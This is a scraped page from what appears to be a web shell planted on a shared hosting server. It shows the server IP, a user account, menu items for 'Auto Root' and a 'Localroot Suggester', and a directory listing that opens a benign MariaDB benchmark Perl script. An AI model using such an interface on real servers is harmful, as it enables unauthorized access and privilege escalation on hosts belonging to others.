Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.26
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
apps /
mariadb114 /
sql-bench /
Delete
Unzip
Name
Size
Permission
Date
Action
Data
[ DIR ]
drwxrwxr-x
2024-05-26 18:41
limits
[ DIR ]
drwxr-xr-x
2024-05-26 18:41
README
4.07
KB
-rw-r--r--
2024-05-26 18:20
bench-count-distinct
7.2
KB
-rwxr-xr-x
2024-05-26 18:20
bench-init.pl
15.73
KB
-rwxr-xr-x
2024-05-26 18:20
compare-results
15.84
KB
-rwxr-xr-x
2024-05-26 18:20
copy-db
9.59
KB
-rwxr-xr-x
2024-05-26 18:20
crash-me
155.59
KB
-rwxr-xr-x
2024-05-26 18:20
graph-compare-results
21.61
KB
-rwxr-xr-x
2024-05-26 18:20
innotest1
4.72
KB
-rwxr-xr-x
2024-05-26 18:20
innotest1a
3.81
KB
-rwxr-xr-x
2024-05-26 18:20
innotest1b
3.38
KB
-rwxr-xr-x
2024-05-26 18:20
innotest2
4.95
KB
-rwxr-xr-x
2024-05-26 18:20
innotest2a
2.73
KB
-rwxr-xr-x
2024-05-26 18:20
innotest2b
3.06
KB
-rwxr-xr-x
2024-05-26 18:20
myisam.cnf
41
B
-rwxr-xr-x
2024-05-26 18:20
run-all-tests
7.1
KB
-rwxr-xr-x
2024-05-26 18:20
server-cfg
102.96
KB
-rwxr-xr-x
2024-05-26 18:20
test-ATIS
24.49
KB
-rwxr-xr-x
2024-05-26 18:20
test-alter-table
6.72
KB
-rwxr-xr-x
2024-05-26 18:20
test-big-tables
4.35
KB
-rwxr-xr-x
2024-05-26 18:20
test-connect
9.7
KB
-rwxr-xr-x
2024-05-26 18:20
test-create
7.02
KB
-rwxr-xr-x
2024-05-26 18:20
test-insert
54.77
KB
-rwxr-xr-x
2024-05-26 18:20
test-select
15
KB
-rwxr-xr-x
2024-05-26 18:20
test-table-elimination
6.84
KB
-rwxr-xr-x
2024-05-26 18:20
test-transactions
7.05
KB
-rwxr-xr-x
2024-05-26 18:20
test-wisconsin
11.75
KB
-rwxr-xr-x
2024-05-26 18:20
Save
Rename
#!/usr/bin/env perl # Copyright (c) 2000-2003, 2006 MySQL AB, 2009 Sun Microsystems, Inc. # Use is subject to license terms. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Library General Public # License as published by the Free Software Foundation; version 2 # of the License. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Library General Public License for more details. # # You should have received a copy of the GNU Library General Public # License along with this library; if not, write to the Free # Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, # MA 02110-1335 USA # # This test is for testing how long it takes to create tables, # make a count(*) from them and finally drop the tables. These # commands will be done in different ways in this test. # Using option --fast will drop all the tables in the end # of this test with one command instead of making own # 'drop' command for each and every table. # By changing the variable '$table_amount' value you can make # this test a lot harder/easier for your computer to drive. # Note that when using value bigger than 64 for this variable # will do 'drop table'-command in totally different way because of that # how MySQL handles these commands. ##################### Standard benchmark inits ############################## use Cwd; use DBI; use Benchmark; $opt_loop_count=10000; # Change this to make test harder/easier # This is the default value for the amount of tables used in this test. $pwd = cwd(); $pwd = "." if ($pwd eq ''); require "$pwd/bench-init.pl" || die "Can't read Configuration file: $!\n"; $create_loop_count=$opt_loop_count; if ($opt_small_test) { $opt_loop_count/=100; $create_loop_count/=1000; } if ($opt_temporary_tables) { $max_tables=min($limits->{'max_tables'},$opt_loop_count); } else { $max_tables=min($limits->{'max_tables'},$opt_loop_count); $max_tables=400; } if ($opt_small_test) { $max_tables=10; } print "Testing the speed of creating and dropping tables\n"; print "Testing with $max_tables tables and $opt_loop_count loop count\n\n"; #### #### Connect and start timeing #### $dbh = $server->connect(); ### Test how the database can handle many tables ### Create $max_tables ; Access all off them with a simple query ### and then drop the tables if ($opt_force) # If tables used in this test exist, drop 'em { print "Okay..Let's make sure that our tables don't exist yet.\n\n"; for ($i=1 ; $i <= max($max_tables, $create_loop_count) ; $i++) { $dbh->do("drop table bench_$i" . $server->{'drop_attr'}); } } if ($opt_fast && defined($server->{vacuum})) { $server->vacuum(1,\$dbh); } print "Testing create of tables\n"; $loop_time=$start_time=new Benchmark; for ($i=1 ; $i <= $max_tables ; $i++) { if (do_many($dbh,$server->create("bench_$i", ["i int NOT NULL", "d double", "f float", "s char(10)", "v varchar(100)"], ["primary key (i)"]))) { # Got an error; Do cleanup for ($i=1 ; $i <= $max_tables ; $i++) { $dbh->do("drop table bench_$i" . $server->{'drop_attr'}); } die "Test aborted"; } } $end_time=new Benchmark; print "Time for create_MANY_tables ($max_tables): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; if ($opt_fast && defined($server->{vacuum})) { $server->vacuum(1,\$dbh); } #### Here comes $max_tables couples of cont(*) to the tables. #### We'll check how long it will take... #### print "Accessing tables\n"; if ($limits->{'group_functions'}) { $query="select count(*) from "; $type="select_group_when_MANY_tables"; } else { $query="select * from "; $type="select_when_MANY_tables"; } $loop_time=new Benchmark; for ($i=1 ; $i <= $max_tables ; $i++) { $sth = $dbh->do("$query bench_$i") or die $DBI::errstr; } $end_time=new Benchmark; print "Time to $type ($max_tables): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; #### #### Now we are going to drop $max_tables tables; #### print "Testing drop\n"; $loop_time=new Benchmark; if ($opt_fast && $server->{'limits'}->{'multi_drop'} && $server->{'limits'}->{'query_size'} > 11+$max_tables*10) { my $query="drop table bench_1"; for ($i=2 ; $i <= $max_tables ; $i++) { $query.=",bench_$i"; } $sth = $dbh->do($query . $server->{'drop_attr'}) or die $DBI::errstr; } else { for ($i=1 ; $i <= $max_tables ; $i++) { $sth = $dbh->do("drop table bench_$i" . $server->{'drop_attr'}) or die $DBI::errstr; } } $end_time=new Benchmark; print "Time for drop_table_when_MANY_tables ($max_tables): " . timestr(timediff($end_time, $loop_time),"all") . "\n\n"; if ($opt_fast && defined($server->{vacuum})) { $server->vacuum(1,\$dbh); } #### We'll do first one 'create table' and then we'll drop it #### away immediately. This loop shall be executed $opt_loop_count #### times. print "Testing create+drop\n"; $loop_time=new Benchmark; for ($i=1 ; $i <= $create_loop_count ; $i++) { do_many($dbh,$server->create("bench_$i", ["i int NOT NULL", "d double", "f float", "s char(10)", "v varchar(100)"], ["primary key (i)"])); $sth = $dbh->do("drop table bench_$i" . $server->{'drop_attr'}) or die $DBI::errstr; } $end_time=new Benchmark; print "Time for create+drop ($create_loop_count): " . timestr(timediff($end_time, $loop_time),"all") . "\n"; if ($opt_fast && defined($server->{vacuum})) { $server->vacuum(1,\$dbh); } # # Same test, but with a table with many keys # my @fields=(); my @keys=(); $keys=min($limits->{'max_index'},16); # 16 is more than enough $seg= min($limits->{'max_index_parts'},$keys,16); # 16 is more than enough # Make keys on the most important types @types=(0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1); # A 1 for each char field push(@fields,"field1 tinyint not null"); push(@fields,"field2 mediumint not null"); push(@fields,"field3 smallint not null"); push(@fields,"field4 char(16) not null"); push(@fields,"field5 integer not null"); push(@fields,"field6 float not null"); push(@fields,"field7 double not null"); for ($i=8 ; $i <= $keys ; $i++) { push(@fields,"field$i char(5) not null"); # Should be relatively fair } # Let first key contain many segments my $query="primary key ("; for ($i= 1 ; $i <= $seg ; $i++) { $query.= "field$i,"; } substr($query,-1)=")"; push (@keys,$query); #Create other keys for ($i=2 ; $i <= $keys ; $i++) { push(@keys,"index index$i (field$i)"); } $loop_time=new Benchmark; for ($i=1 ; $i <= $create_loop_count ; $i++) { do_many($dbh,$server->create("bench_$i", \@fields, \@keys)); $dbh->do("drop table bench_$i" . $server->{'drop_attr'}) or die $DBI::errstr; } $end_time=new Benchmark; print "Time for create_key+drop ($opt_loop_count): " . timestr(timediff($end_time, $loop_time),"all") . "\n"; if ($opt_fast && defined($server->{vacuum})) { $server->vacuum(1,\$dbh); } #### #### End of benchmark #### $dbh->disconnect; # close connection end_benchmark($start_time);